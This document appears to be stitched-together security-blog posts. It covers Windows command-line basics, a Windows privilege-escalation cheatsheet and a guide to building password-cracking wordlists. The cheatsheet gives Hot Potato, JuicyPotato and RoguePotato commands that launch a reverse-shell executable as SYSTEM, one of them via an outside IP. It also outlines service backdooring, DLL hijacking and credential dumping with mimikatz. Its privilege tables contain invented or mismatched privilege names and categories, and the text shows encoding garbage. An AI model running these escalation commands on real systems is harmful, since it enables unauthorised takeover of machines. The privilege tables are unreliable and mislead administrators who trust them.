    • taskkill /im [process_name].exe: The taskkill command is used to terminate the specified process. The /im option specifies that the process should be terminated by its image name (i.e. the name of the executable file). For example, taskkill /im notepad.exe would terminate any instances of the Notepad application that are currently running

    Networking Commands

    • ipconfig: The ipconfig command is used to display network configuration information such as the IP address, subnet mask, and default gateway for each network adapter. You can also use various options (e.g. ipconfig /all to display detailed information for each adapter or ipconfig /release to release the IP address for a specific adapter).
    • ping [host_name]: The ping command is used to test network connectivity by sending ICMP echo request packets to the specified host. For example, ping google.com would send packets to the Google website to test whether it’s reachable.
    • tracert [host_name]: The tracert command is used to trace the route that packets take from the local computer to the specified host. For example, tracert google.com would display a list of routers that the packets pass through on their way to the Google website.

    User Account Management Commands

    • net user [username]: The net user command is used to manage user accounts on the local computer. By default, it will display a list of user accounts, their status (i.e. whether they’re active or disabled), and their last logon time. You can also use various options (e.g. net user [username] * to change the password for a specific user).
    • net localgroup [groupname]: The net localgroup command is used to manage local groups on the local computer. By default, it will display a list of local groups and their members. You can also use various options (e.g. net localgroup [groupname] [username] /add to add a user to a local group).

    Miscellaneous Commands

    • assoc [.ext]: The assoc command is used to display or change file associations for a specific file extension. For example, assoc .txt would display the current file association for text files (e.g. “txtfile”).
    • set: The set command is used to display environment variables such as the current user’s home directory, the system root directory, and the temporary folder location. You can also use it to set or modify environment variables (e.g. set MYVAR=value to create a new environment variable named “MYVAR”).
    • taskmgr: The taskmgr command is used to launch the Windows Task Manager, which displays information about currently running processes, performance metrics, and startup programs.

    File and Directory Management Commands

    • cd [directory]: The cd command is used to change the current working directory to the specified directory. For example, cd C:\Users would change the working directory to the “Users” folder on the C drive.
    • dir: The dir command is used to display a list of files and directories in the current working directory. You can also use various options (e.g. dir /s to display files and directories in subdirectories as well).
    • md [directory]: The md command is used to create a new directory with the specified name. For example, md MyFolder would create a new directory called “MyFolder” in the current working directory.
    • rd [directory]: The rd command is used to delete a directory with the specified name. For example, rd MyFolder would delete the directory called “MyFolder” in the current working directory.
    • xcopy [source] [destination]: The xcopy command is used to copy files and directories from the source location to the destination location. You can also use various options (e.g. xcopy /s to copy subdirectories as well).

    System Information Commands

    • systeminfo: The systeminfo command is used to display detailed information about the local computer’s system configuration, including the operating system version, processor type, and installed hotfixes.
    • hostname: The hostname command is used to display the hostname of the local computer.
    • netstat: The netstat command is used to display active network connections, including the protocol, local and remote IP addresses, and connection status.
    • tasklist: The tasklist command is used to display a list of running processes on the local computer, including the process name, process ID, and memory usage.
    • driverquery: The driverquery command is used to display a list of installed device drivers on the local computer, including the driver name, version, and file location.

    Task Scheduler Commands

    • schtasks: The schtasks command is used to create, modify, and delete scheduled tasks on the local computer. You can use various options to set the task’s frequency, start time, and action to be performed.
    • at: The at command is used to schedule a command or program to run at a specific time. You can use various options to specify the date and time when the command should run.

    System Administration Commands

    • netstat: The netstat command is used to display network statistics such as active TCP connections, open ports, and listening ports. You can use various options to display different types of network statistics.
    • sc: The sc command is used to manage Windows services. You can use various options to start, stop, pause, resume, or query the status of a service.
    • wevtutil: The wevtutil command is used to manage event logs on the local computer. You can use various options to view, export, or clear event logs.
    • gpresult: The gpresult command is used to display the Resultant Set of Policy (RSoP) for a user or computer on the local or remote computer. You can use various options to display different types of RSoP data.
    • reg: The reg command is used to manage the Windows registry. You can use various options to add, delete, modify, or query registry keys and values.

    Batch Scripting

    Basic Commands

    • @echo: The @echo command is used to display messages and variables on the console. The @ symbol suppresses the echoing of the command itself.
    • set: The set command is used to create, modify, or delete environment variables. You can use various options to display the current values, enable delayed expansion, and manipulate the strings.
    • echo off: The echo off command is used to turn off the echoing of the batch script commands on the console. This is useful when you want to hide the script contents from the user.
    • pause: The pause command is used to wait for the user to press a key before continuing the script execution. This is useful when you want to prompt the user for input or display a message.
    • goto: The goto command is used to jump to a label in the script. You can use various options to specify the label name, the condition, and the error handling.
    • call: The call command is used to call another batch script or command-line program from the current script. You can use various options to pass arguments, set the environment, and return to the calling script.

    File and Folder Commands

    • dir: The dir command is used to display the list of files and folders in a directory. You can use various options to sort the output, filter the files, and display the attributes.
    • cd: The cd command is used to change the current directory to a specified directory or a relative path. You can use various options to navigate the directory tree, set the drive, and display the path.
    • copy: The copy command is used to copy one or more files from a source to a destination. You can use various options to overwrite the existing files, preserve the attributes, and create backups.
    • move: The move command is used to move one or more files from a source to a destination. You can use various options to overwrite the existing files, create backups, and rename the files.
    • del: The del command is used to delete one or more files from the current directory or a specified directory. You can use various options to force the deletion, prompt for confirmation, and delete the subdirectories.
    • md: The md command is used to create a new directory with the specified name in the current directory or a specified directory. You can use various options to set the attributes, create multiple directories, and display the help.

    System Commands

    • tasklist: The tasklist command is used to display the list of running processes on the local or remote computer. You can use various options to filter the output, display the modules, and sort the processes.
    • taskkill: The taskkill command is used to terminate one or more running processes on the local or remote computer. You can use various options to force the termination, prompt for confirmation, and specify the process ID or name.
    • reg: The reg command is used to query or modify the Windows registry on the local or remote computer. You can use various options to view or edit the keys and values, export or import the data, and manage the permissions.
    • net: The net command is used to manage the network settings and services on the local or remote computer. You can use various options to view or modify the shares, users, groups, and printers.
    • ipconfig: The ipconfig command is used to display the IP address configuration and the network settings of the local computer. You can use various options to renew or release

    Compression and Archiving Commands

    • compact: The compact command is used to compress files and directories to save disk space. You can use various options to set the compression level and exclude specific files or directories.
    • expand: The expand command is used to extract files from a compressed Windows cabinet (.cab) file. You can use various options to specify the output directory and overwrite existing files.
    • makecab: The makecab command is used to create a compressed Windows cabinet (.cab) file from one or more files. You can use various options to set the compression level and exclude specific files or directories.
    • tar: The tar command is used to create, extract, and manipulate tar archives. You can use various options to specify the archive format, compression level, and file filters.
    • zip: The zip command is used to create, extract, and manipulate ZIP archives. You can use various options to specify the archive format, compression level, and file filters.

    Security Commands

    • cipher: The cipher command is used to encrypt or decrypt the files and folders on the local computer. You can use various options to specify the encryption algorithm, the key size, and the target directory.
    • sfc: The sfc command is used to scan the system files on the local computer and repair any corrupted or missing files. You can use various options to customize the scan, display the log, and restore the original files.
    • net user: The net user command is used to manage the user accounts on the local computer. You can use various options to create or delete user accounts, change the password, and assign user rights.
    • net group: The net group command is used to manage the groups on the local computer. You can use various options to create or delete groups, add or remove members, and assign group permissions.
    • netsh: The netsh command is used to configure the network settings on the local computer. You can use various options to configure the network adapters, the firewall, and the remote access.

    Disk Management Commands

    • chkdsk: The chkdsk command is used to check the file system and the physical disk for errors and bad sectors. You can use various options to scan the disk, repair the errors, and recover the data.
    • diskpart: The diskpart command is used to manage the disk partitions and volumes on the local computer. You can use various options to create or delete partitions, format or assign drive letters, and set active partitions.
    • format: The format command is used to format the file system on a disk volume. You can use various options to specify the file system type, the cluster size, and the volume label.
    • fsutil: The fsutil command is used to manage the file system features on the local computer. You can use various options to query or modify the file system attributes, create or delete hard links, and manage the NTFS permissions.

    Batch Processing Commands

    • for: The for command is used to execute a command or a series of commands for each item in a set of files or directories. You can use various options to customize the loop behavior, the delimiter, and the output format.
    • if: The if command is used to execute a command or a series of commands based on a specific condition or a set of conditions. You can use various operators to compare strings or numbers, test the file attributes, and check the errorlevel.
    • goto: The goto command is used to redirect the execution flow to a specific label in a batch script. You can use various labels to organize the script, jump to a different section, and handle the error conditions.
    • set: The set command is used to assign values to variables in a batch script. You can use various options to define the scope, the type, and the value of the variables.
    • echo: The echo command is used to display messages or variables in a batch script. You can use various options to customize the output format, the color, and the redirection.

    User Interface Commands

    • mode: The mode command is used to configure the console display and input modes on the local computer. You can use various options to change the screen buffer size, the font size and type, and the keyboard layout.
    • color: The color command is used to change the foreground and background colors of the console screen on the local computer. You can use various options to specify the color codes, the intensity, and the default settings.
    • title: The title command is used to set the title of the console window on the local computer. You can use various options to specify the text, the color, and the font of the title.
    • cls: The cls command is used to clear the console screen on the local computer. You can use this command to remove the previous output, display a clean slate, and reduce the clutter.
    • pause: The pause command is used to pause the execution of a batch script and wait for the user to press any key to continue. You can use this command to prevent the script from closing immediately and provide feedback to the user.

    Flow Control

    In Windows command line, flow control refers to the ability to control the execution of batch files and scripts based on specific conditions or events. There are several flow control commands that you can use to add conditional logic and branching to your scripts, including:

    Conditional Statements

    • if: The if command is used to test a condition and perform different actions based on the result. You can use various operators, such as ==, !=, >=, <=, to compare values, and use the else clause to specify an alternative action if the condition is not met. Example:
    bashCopy codeif %ERRORLEVEL% == 0 (
       echo Command succeeded
    ) else (
       echo Command failed
    )
    
    • for: The for command is used to loop through a set of values and perform an action for each value. You can use various modifiers, such as %%~nxa, %%~dpI, to extract parts of the value, and use the in clause to specify the values or a file set. Example:
    javaCopy codefor %%I in (*.txt) do (
       echo Found file: %%I
    )
    

    Jump Statements

    • goto: The goto command is used to transfer the execution of the script to a specific label. You can use the :label syntax to define a label and use the goto label command to jump to it. Example:
    phpCopy code:start
    echo Starting script...
    goto end
    :middle
    echo Middle of script...
    :end
    echo End of script.
    
    • call: The call command is used to call a subroutine or another batch file and return to the original script when it finishes. You can use the %0 variable to refer to the current batch file and use the %1, %2, … %9 variables to pass arguments to the called batch file. Example:
    vbnetCopy codecall :subroutine arg1 arg2
    echo Returned from subroutine.
    goto end
    :subroutine
    echo Subroutine started with arguments %1 and %2.
    goto :eof
    

    These are some of the flow control commands that you can use in Windows command line to add conditional logic and branching to your scripts. Remember to use them with caution and avoid complex nesting and recursion, as they can make your script hard to read and debug.

    FAQ

    • What is the Windows command line?

    The Windows command line is a text-based interface that allows users to execute commands and scripts on a Windows computer. It is also known as the Command Prompt or the Windows Terminal.

    • How do I open the Windows command line?

    To open the Windows command line, press the Windows key + R, type “cmd” and press Enter, or search for “Command Prompt” in the Start menu.

    • What are some basic Windows command line commands?

    Some basic Windows command line commands include dir (list files and directories), cd (change directory), mkdir (create directory), del (delete file), type (display file contents), echo (display text), and ping (test network connectivity).

    • How do I run a batch file in the Windows command line?

    To run a batch file in the Windows command line, navigate to the directory where the batch file is located and type the name of the file, including the .bat extension. Example: mybatchfile.bat

    • Can I use Windows command line to automate tasks?

    Yes, you can use Windows command line to automate tasks by creating batch files or scripts that execute a series of commands. You can also use third-party tools, such as PowerShell or Task Scheduler, to create more complex automation workflows.

    • How do I get help with Windows command line commands?

    To get help with Windows command line commands, you can use the /? or -h option after the command name, or type help to display a list of available commands and their descriptions.

    • How do I redirect output to a file in the Windows command line?

    To redirect output to a file in the Windows command line, use the > or >> operator followed by the file name. The > operator overwrites the file if it exists, while the >> operator appends to the file if it exists or creates a new file if it doesn’t. Example: dir > files.txt

  • Windows Privilege Escalation Cheatsheet: From User to Admin in Comprehensive Guide

    Windows Privilege Escalation Cheatsheet: From User to Admin in Comprehensive Guide

    Windows Privilege Escalation is a crucial technique for ethical hackers and security professionals to learn as it allows them to elevate their privileges on a Windows system and gain access to sensitive information or execute unauthorized actions. This Cheatsheet is a comprehensive guide to Windows Privilege Escalation that outlines various techniques for exploiting weak service permissions, unquoted service paths, DLL hijacking, weak registry permissions, insecure service startup, weak file permissions, weak credentials, and AlwaysInstallElevated. By following this Cheatsheet, security professionals can better understand how to identify and exploit Windows Privilege Escalation vulnerabilities to secure their own systems or to conduct ethical hacking activities.

    Note that this is not an exhaustive list and there may be other privileges available depending on the version of Windows and the specific configuration of the system.

    Desktop view recommended in mobile

    Security Management Privileges

    Privilege NameConstant NameDescription
    Assign Primary TokenSE_ASSIGNPRIMARYTOKEN_NAMEAllows a process to replace the token that represents a client with another token.
    BackupSE_BACKUP_NAMEAllows a user or process to bypass file and directory permissions to back up the system.
    RestoreSE_RESTORE_NAMEAllows a user or process to bypass file and directory permissions to restore the system.
    SecuritySE_SECURITY_NAMEAllows a user or process to modify security settings of objects, such as files, directories, and registry keys.

    System Privileges

    Privilege NameConstant NameDescription
    Change NotifySE_CHANGE_NOTIFY_NAMEAllows a user or process to receive notifications when a file or directory is changed.
    DebugSE_DEBUG_NAMEAllows a user or process to debug another process.
    ShutdownSE_SHUTDOWN_NAMEAllows a user or process to shut down the system.
    System TimeSE_SYSTEMTIME_NAMEAllows a user or process to modify the system time.
    Take OwnershipSE_TAKE_OWNERSHIP_NAMEAllows a user or process to take ownership of files, directories, and other objects.

    User Rights

    User RightConstant NameDescription
    Access Credential ManagerSeInteractiveLogonRightAllows a user to manage credentials, such as usernames and passwords, stored on the computer.
    Change the System TimeSeSystemtimePrivilegeAllows a user to modify the system time.
    Log on as a batch jobSeBatchLogonRightAllows a user to log on as a batch job, which is a set of instructions that are processed in sequence, without requiring user interaction.
    Log on as a serviceSeServiceLogonRightAllows a user to log on as a service, which is a program that runs in the background and provides a specific function to other programs or users.
    Remote Desktop ServicesSeRemoteInteractiveLogonRightAllows a user to connect to the computer using Remote Desktop.
    Restore Files and DirectoriesSeRestorePrivilegeAllows a user to restore files and directories, which is useful for recovering data that has been accidentally deleted or corrupted.
    Shut down the systemSeShutdownPrivilegeAllows a user to shut down the system.
    Take ownership of files or other objectsSeTakeOwnershipPrivilegeAllows a user to take ownership of files, directories, and other objects.

    Process Management Privileges

    Privilege NameConstant NameDescription
    Create ProcessSE_CREATE_PROCESS_NAMEAllows a user or process to create a new process.
    Create ThreadSE_CREATE_THREAD_NAMEAllows a user or process to create a new thread within a process.
    Debug ProcessSE_DEBUG_NAMEAllows a user or process to debug another process.
    Set Session IDSE_ASSIGNPRIMARYTOKEN_NAMEAllows a user or process to set the session identifier (ID) for a process.
    Terminate ProcessSE_TERMINATE_NAMEAllows a user or process to terminate a process.

    Network Privileges

    Privilege NameConstant NameDescription
    Access Network ConnectionsSE_NETWORK_NAMEAllows a user or process to access network-related information, such as the network address of a computer.
    Impersonate a ClientSE_IMPERSONATE_NAMEAllows a user or process to impersonate another user, which means that the user or process can act as if it were the other user. This is useful for accessing network resources that are restricted to a particular user.
    Manage auditing and security logSE_AUDIT_NAMEAllows a user or process to manage the security log, which contains records of security-related events, such as logon attempts and file access attempts.

    Miscellaneous Privileges

    Privilege NameConstant NameDescription
    Act as part of the operating systemSE_TCB_NAMEAllows a user or process to perform actions that are normally reserved for the operating system, such as installing device drivers and modifying system settings.
    Allow log on locallySeInteractiveLogonRightAllows a user to log on locally to the computer.
    Bypass traverse checkingSeChangeNotifyPrivilegeAllows a user or process to bypass checks that prevent the user or process from accessing files and directories that are located outside of the user’s or process’s scope.
    Increase scheduling prioritySE_INC_BASE_PRIORITY_NAMEAllows a user or process to increase the scheduling priority of a process, which means that the process will be given more resources, such as CPU time, than other processes.
    Load and unload device driversSE_LOAD_DRIVER_NAMEAllows a user or process to load and unload device drivers, which are programs that interact with hardware devices, such as printers and disk drives.
    Lock pages in memorySE_LOCK_MEMORY_NAMEAllows a user or process to lock pages in memory, which means that the pages cannot be paged out to the paging file. This is useful for programs that need to access data quickly and efficiently.
    Profile system performanceSE_PROF_SINGLE_PROCESS_NAMEAllows a user or process to profile the performance of a single process, which means that the user or process can collect data about how much CPU time, memory, and other resources the process is using.

    Security and User Rights Privileges

    Privilege NameConstant NameDescription
    Add workstations to domainSeMachineAccountPrivilegeAllows a user or process to add computers to a domain.
    Backup files and directoriesSeBackupPrivilegeAllows a user or process to back up files and directories on the computer.
    Change the system timeSeSystemtimePrivilegeAllows a user or process to change the system time on the computer.
    Generate security auditsSeAuditPrivilegeAllows a user or process to generate security-related audit messages in the Security log.
    Manage auditing and security logSeSecurityPrivilegeAllows a user or process to manage the security log, which contains records of security-related events, such as logon attempts and file access attempts.
    Modify firmware environment valuesSeSystemEnvironmentPrivilegeAllows a user or process to modify the firmware environment variables on the computer, which are used to store configuration information for hardware devices.
    Restore files and directoriesSeRestorePrivilegeAllows a user or process to restore files and directories on the computer.
    Take ownership of files or other objectsSeTakeOwnershipPrivilegeAllows a user or process to take ownership of files or other objects on the computer. This is useful for recovering access to files or directories that have been locked down or for troubleshooting permissions issues.

    Service Privileges

    Privilege NameConstant NameDescription
    Create a token objectSeCreateTokenPrivilegeAllows a user or process to create a token object, which is an object that contains security-related information, such as the user’s or process’s identity and group memberships. This is useful for creating a new process with specific security settings.
    Manage the backup and restore privilegesSeBackupPrivilegeAllows a user or process to manage the backup and restore privileges, which are used to back up and restore files and directories on the computer.
    Query Service StatusSeQueryServiceStatusPrivilegeAllows a user or process to query the status of a service, which is a program that runs in the background and provides functionality to other programs.
    Start a serviceSeServiceLogonRightAllows a user or process to start a service, which is a program that runs in the background and provides functionality to other programs.
    Stop a serviceSeServiceLogonRightAllows a user or process to stop a service, which is a program that runs in the background and provides functionality to other programs.

    Virtualization Privileges

    Privilege NameConstant NameDescription
    Create a virtual machineSeCreateVirtualMachinePrivilegeAllows a user or process to create a virtual machine, which is a software emulation of a computer system. This is useful for running multiple operating systems or applications on a single computer or for creating test environments.
    Modify firmware settingsSeSystemEnvironmentPrivilegeAllows a user or process to modify the computer’s firmware settings, such as the boot order or startup configuration. This is useful for administrators who need to configure the computer’s firmware or for troubleshooting issues related to the computer’s startup process.

    Remote Desktop Privileges

    Privilege NameConstant NameDescription
    Allow logon through Remote Desktop ServicesSeRemoteInteractiveLogonRightAllows a user to log on to a remote computer using Remote Desktop. This privilege is required for users who want to connect to a remote computer using Remote Desktop.
    Deny logon through Remote Desktop ServicesSeDenyRemoteInteractiveLogonRightDenies a user the ability to log on to a remote computer using Remote Desktop. This privilege is useful for administrators who want to restrict Remote Desktop access to certain users or groups.

    Backup and Restore Privileges

    Privilege NameConstant NameDescription
    Back up files and directoriesSeBackupPrivilegeAllows a user or process to back up files and directories, which means that the user or process can create backups of files and directories even if they do not have explicit permissions to access them. This is useful for backup and disaster recovery purposes.
    Restore files and directoriesSeRestorePrivilegeAllows a user or process to restore files and directories, which means that the user or process can restore backups of files and directories to their original locations. This is useful for restoring data that has been lost or damaged.

    Cryptography Privileges

    Privilege NameConstant NameDescription
    Create a pagefileSeCreatePagefilePrivilegeAllows a user or process to create a pagefile, which is a file on disk that is used to store data that does not fit into physical memory. This is useful for improving system performance by providing additional virtual memory.
    Manage volumesSeManageVolumePrivilegeAllows a user or process to manage volumes, which are logical partitions on a disk. This is useful for managing disk space, creating new volumes, or troubleshooting issues related to disk management.

    Exploiting Weak Service Permissions

    TechniqueDescription
    Find weak service permissions using tools like accesschk.exe or sc.exeSearch for services with weak file or registry permissions
    Modify service binary or configuration file to include a backdoorReplace the service binary or configuration file with a backdoored version
    Start the service and gain elevated privilegesStart the vulnerable service to execute the backdoor with elevated privileges

    Exploiting Unquoted Service Paths

    TechniqueDescription
    Identify services with unquoted service paths using wmic service get name, displayname, pathname, startmode commandSearch for services with unquoted service paths
    Create a malicious file with the same name as the vulnerable service and place it in the directory specified by the service pathCreate a malicious file and place it in a directory that the vulnerable service searches for executable files
    Start the vulnerable service to execute the malicious file with elevated privilegesStart the vulnerable service to execute the backdoor with elevated privileges

    Exploiting DLL Hijacking

    TechniqueDescription
    Identify vulnerable applications using tools like procmon.exe or dependencywalker.comSearch for applications that load DLLs with a predictable name from a directory that is writable by the attacker
    Create a malicious DLL with the same name as the vulnerable DLL and place it in a directory that the application searches for DLLsCreate a malicious DLL and place it in a directory that the vulnerable application searches for DLLs
    Start the vulnerable application to execute the malicious DLL with elevated privilegesStart the vulnerable application to execute the backdoor with elevated privileges

    Exploiting Weak Registry Permissions

    TechniqueDescription
    Find weak registry permissions using tools like accesschk.exe or regedit.exeSearch for registry keys with weak permissions
    Modify a registry key to include a backdoorModify a vulnerable registry key to include a backdoor
    Restart the system to gain elevated privilegesRestart the system to execute the backdoor with elevated privileges

    Exploiting Insecure Service Startup

    TechniqueDescription
    Find services that run with high privileges using tools like sc.exe, tasklist.exe, or task managerSearch for services that run with high privileges and can be stopped and started by non-administrative users
    Stop the service and replace the binary or configuration file with a backdoored oneStop the vulnerable service and replace the binary or configuration file with a backdoored version
    Start the service to execute the backdoor with elevated privilegesStart the vulnerable service to execute the backdoor with elevated privileges

    Exploiting Weak File Permissions

    TechniqueDescription
    Find files with weak permissions using tools like accesschk.exe or cacls.exeSearch for files with weak permissions that are executed by an administrator
    Modify the file to include a backdoorModify the vulnerable file to include a backdoor
    Wait for an administrator to execute the file to gain elevated privilegesWait for an administrator to execute the vulnerable file and execute the backdoor with elevated privileges

    Exploiting Weak Credentials

    TechniqueDescription
    Find weak credentials using tools like hashdump.exe, mimikatz.exe, or metasploit-frameworkSearch for weak or default credentials
    Use the credentials to gain administrative access to the systemUse the obtained credentials to gain administrative access to the system

    Exploiting Clear Text password

    TechniqueDescription
    Identify services, applications or scripts that store passwords in clear textSearch for clear text passwords in configuration files, scripts, or memory dumps using tools like grep or strings
    Extract the clear text passwordExtract the password from the configuration file, script, or memory dump using tools like awk, sed, or python
    Use the obtained credentials to gain administrative access to the systemUse the obtained credentials to gain administrative access to the system

    Note: It’s important to note that exploiting clear text passwords is not recommended as it is a significant security risk. It is important to use secure password storage methods, such as encryption or hashing, to protect sensitive information.

    Dangerous User Privileges

    Some privileges for a user is dangerous. They could lead to escalate to higher privilege I will list some of them:

    SEImpersonatePrivilege

    It can act as any other user, such as, Administrator. The vulnerability could be exploited with JuicyPotato

    SeAssignPrimaryPrivilege

    Assign an access token to new process. Can be exploited with JuicyPotato

    SeBackUpPrivilege

    If a user has this privilege he is able to read files. Thatโ€™s mean the user can extract password/hash from registry which could be used for pass-the-hash attack

    SeRestorePrivilege

    This privilege grant a user to modify service binary, dll, also modify registry settings

    Others risky Privilege

    1. SeCreateTokenPrivilege
    2. SeLoadDriverPrivilege
    3. SeDebugPrivilege

    Hot Potato Exploit

    A Tutorial: https://pentestlab.blog/2017/04/13/hot-potato/

    Windows 7

    .\Potato.exe -ip &lt;local ip> -cmd &lt;command to run> -enable_defender true -enable_spoof true -disable_exhaust true

    Windows 10

    .\Potato.exe -ip &lt;local ip> -cmd &lt;cmd to run> -disable_exhaust true -disable_defender true

    Juicy Potato

    If SeImpersonate/SeAssignPrimaryToken JuicyPotato can be used to escalated privilege.

    Note: CLSID can be found in: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    JuicyPotato.exe -l 4444 -p C:\Windows\Temp\Rev.exe -t * -c {CLS_ID}

    Rogue Potato

    Just another Windows Local Privilege Escalation from Service Account to System. So the requirement is the accessed account needed to be a service account.

    .\RoguePotato.exe -r 192.168.1.11 โ€“l 9999 -e "C:\Windows\Temp\rev.exe
  • Mastering the Art of Brute Force: A Comprehensive Guide and Cheat Sheet

    Mastering the Art of Brute Force: A Comprehensive Guide and Cheat Sheet

    Brute force is a type of algorithmic approach used in computer science to solve problems by exhaustively trying all possible solutions. In this method, the system tries every possible combination of inputs until the correct output is found.

    Brute force is typically used when other more efficient algorithms fail to solve a problem, or when the problem space is relatively small. Brute force is a general technique that can be applied to many different types of problems, including password cracking, cryptography, and combinatorial optimization.

    In this cheat sheet, we will explore the basic concepts of brute force, how it works, and the different techniques and algorithms used to optimize its performance. We will also provide best practices for implementing brute force algorithms and avoiding common pitfalls.

    Brute Force Basics

    Brute force is a simple and straightforward approach to problem-solving that involves trying every possible solution until the correct answer is found. The key advantage of this approach is that it is guaranteed to find the correct answer, as long as the problem space is small enough to exhaustively search.

    However, brute force algorithms can be very slow and resource-intensive, especially for large problem spaces. This is because they require a lot of computational power and memory to process all possible solutions. As a result, brute force algorithms may not be practical for certain types of problems or for large data sets.

    One important distinction to note is that brute force algorithms are different from other types of algorithms that use heuristics or rules to eliminate certain solutions from consideration. Brute force algorithms, on the other hand, consider every possible solution without any preconceived biases or assumptions.

    Despite its limitations, brute force remains a useful technique in computer science, especially for certain types of problems where other algorithms have failed or where the problem space is small enough to make exhaustive search practical.

    How Brute Force Works

    Brute force algorithms work by systematically trying every possible solution to a problem until the correct one is found. This approach is typically used when other more efficient algorithms are not available or are too complex to implement.

    To understand how brute force works, let’s consider an example of a password cracking algorithm. Suppose you have a password-protected file and you want to crack the password. One way to do this is to use a brute force algorithm that tries every possible combination of characters until the correct password is found.

    The brute force algorithm starts by trying a single character as the password. If that doesn’t work, it tries all possible combinations of two characters, then three, and so on until the correct password is found. This process continues until the password is cracked or all possible combinations have been tried.

    While brute force is a simple and effective approach, it can be very slow and resource-intensive, especially for large problem spaces. For example, cracking a password with 8 characters using a brute force algorithm that considers all possible combinations of upper and lower case letters, numbers, and symbols would require trying over 218 trillion combinations.

    To improve the performance of brute force algorithms, various optimization techniques can be used, such as reducing the size of the problem space by eliminating redundant or invalid solutions, or using parallel processing to search for solutions more quickly.

    Brute Force Techniques

    There are several techniques that can be used to optimize the performance of brute force algorithms. Here are some of the most commonly used techniques:

    1. Pruning: This technique involves eliminating redundant or invalid solutions from the search space to reduce the number of solutions that need to be evaluated. For example, in a password cracking algorithm, you can eliminate passwords that don’t meet certain criteria, such as length or character requirements.
    2. Memoization: Memoization is a technique that involves storing the results of previous calculations so that they can be reused later. This can help to reduce the number of calculations that need to be performed and speed up the overall algorithm.
    3. Heuristics: Heuristics are rules or strategies that can be used to narrow down the search space and eliminate certain solutions from consideration. For example, in a chess game, a heuristic might involve prioritizing moves that put the opponent’s king in check.
    4. Parallel Processing: Parallel processing involves dividing the problem into smaller sub-problems that can be processed simultaneously by multiple processors or threads. This can help to speed up the overall algorithm and reduce the time needed to find a solution.
    5. Branch and Bound: Branch and Bound is a technique that involves breaking the problem into smaller sub-problems and evaluating each sub-problem separately. The solutions from each sub-problem are then combined to find the final solution. This technique can help to reduce the size of the problem space and speed up the overall algorithm.

    It’s important to note that the effectiveness of these techniques will depend on the specific problem being solved and the size of the problem space. In some cases, brute force algorithms may still be too slow or resource-intensive to be practical, even with optimization techniques.

    Common Brute Force Algorithms

    There are several common brute force algorithms that are frequently used to solve different types of problems. Here are a few examples:

    1. Brute Force Password Cracking: This algorithm involves trying every possible combination of characters until the correct password is found. The algorithm can be optimized by using techniques such as pruning, memoization, and parallel processing.
    2. Brute Force Cryptanalysis: This algorithm involves trying every possible key or plaintext until the correct one is found. The algorithm can be optimized by using techniques such as frequency analysis, precomputation, and parallel processing.
    3. Brute Force Combinatorial Optimization: This algorithm involves trying every possible combination of solutions until the best one is found. The algorithm can be optimized by using techniques such as branch and bound, heuristics, and parallel processing.
    4. Brute Force Search: This algorithm involves trying every possible solution until the correct one is found. The algorithm can be optimized by using techniques such as pruning, memoization, and parallel processing.

    It’s important to note that the effectiveness of these algorithms will depend on the size of the problem space and the specific problem being solved. In some cases, brute force algorithms may not be practical or may require significant optimization to be effective.

    Create your own Dictionaries

    Creating dictionaries is an important step in using brute force algorithms to solve certain types of problems. A dictionary is a collection of words or phrases that can be used to generate possible solutions to a problem. Here are some steps to follow when creating your own dictionaries:

    1. Crunch:

    Numeric: This dictionary includes all possible combinations of numeric characters (0-9).

    Alpha: This dictionary includes all possible combinations of lowercase and uppercase letters (a-z and A-Z).

    AlphaNumeric: This dictionary includes all possible combinations of numeric and alphabetic characters.

    Special Characters: This dictionary includes all possible combinations of special characters such as symbols and punctuation marks.

    • Numeric: 0000, 1234, 9999
    • Alpha: aaaaa, ZZZZZ, abcdefg
    • AlphaNumeric: abc123, 123abc, P@ssw0rd
    • Special Characters: !@#$%^&*, ().;:[]
    1. Cewl:

    Personal Information: This dictionary includes words and phrases related to a specific individual, such as their name, birthdate, and address.

    Company Information: This dictionary includes words and phrases related to a specific company, such as their name, industry, and location.

    Common Words: This dictionary includes common words and phrases that are frequently used in passwords and passphrases, such as “password”, “123456”, and “letmein”.

    • Personal Information: JohnDoe, 04/22/1980, 123 Main St.
    • Company Information: AcmeCorp, Technology, San Francisco
    • Common Words: password, 123456, letmein
    1. CUPP:

    Custom Words: This dictionary includes custom words and phrases that are specific to a target individual or organization, such as pet names or project code names.

    Social Engineering: This dictionary includes words and phrases that are commonly used in social engineering attacks, such as “urgent” or “important”.

    • Custom Words: fluffy, projectX, blackcat
    • Social Engineering: urgent, important, update
    1. Pydictor:

    Custom Wordlists: This dictionary includes custom wordlists that can be created based on specific criteria, such as length, complexity, or common patterns.

    Language-specific Wordlists: This dictionary includes wordlists that are specific to a particular language, such as English or Spanish.

    • Custom Wordlists: mywordlist1, mywordlist2, mywordlist3
    • Language-specific Wordlists: english.txt, spanish.txt, french.txt
    1. Wordlists:

    Default Wordlists: This dictionary includes default wordlists that come with many password cracking tools, such as rockyou.txt or common-passwords.txt.

    Miscellaneous Wordlists: This dictionary includes wordlists that are not specific to any particular category, such as the EFF wordlist or the Nmap wordlist.

    • Default Wordlists: rockyou.txt, common-passwords.txt, english.txt
    • Miscellaneous Wordlists: EFF wordlist, Nmap wordlist, cracking-station.txt
    1. Hashcat:

    Rules-based Wordlists: This dictionary includes wordlists that are generated using rules-based algorithms that modify existing words and phrases to create variations, such as capitalization, substitutions, and appending or prepending characters.

    Rules-based Wordlists: leet-speak variations of common passwords, appending years or special characters to common phrases

    1. Fuzzing:

    Fuzzing Wordlists: This dictionary includes wordlists that are specifically designed for fuzzing attacks, where input data is intentionally modified in unexpected ways to test for vulnerabilities.

    Fuzzing Wordlists: variations of input data, such as extra spaces, misspellings, or repeated characters

    1. Rainbow Tables:

    Rainbow Table Databases: Instead of a traditional dictionary, rainbow tables use precomputed data to speed up the cracking process. This category includes precomputed rainbow tables that can be used with rainbow table attacks.

    Rainbow Table Databases: Ophcrack rainbow tables, Cain and Abel rainbow tables, RainbowCrack rainbow tables

    1. Social Media:

    Social Media Wordlists: This dictionary includes words and phrases related to social media, such as usernames, hashtags, and popular phrases.

    1. Geography:

    Geographic Wordlists: This dictionary includes words and phrases related to specific geographic locations, such as city names, landmarks, and popular tourist destinations.

    Default Credentials

    Search in google for default credentials of the technology that is being used, or try these links:

    Wordlists

    Online cracking databases

    Check this out before trying to brute force a Hash.

    Best Practices for Brute Force

    While brute force algorithms can be effective in solving certain types of problems, there are some best practices that should be followed to ensure their proper use and minimize any potential negative impacts. Here are some of the best practices for brute force:

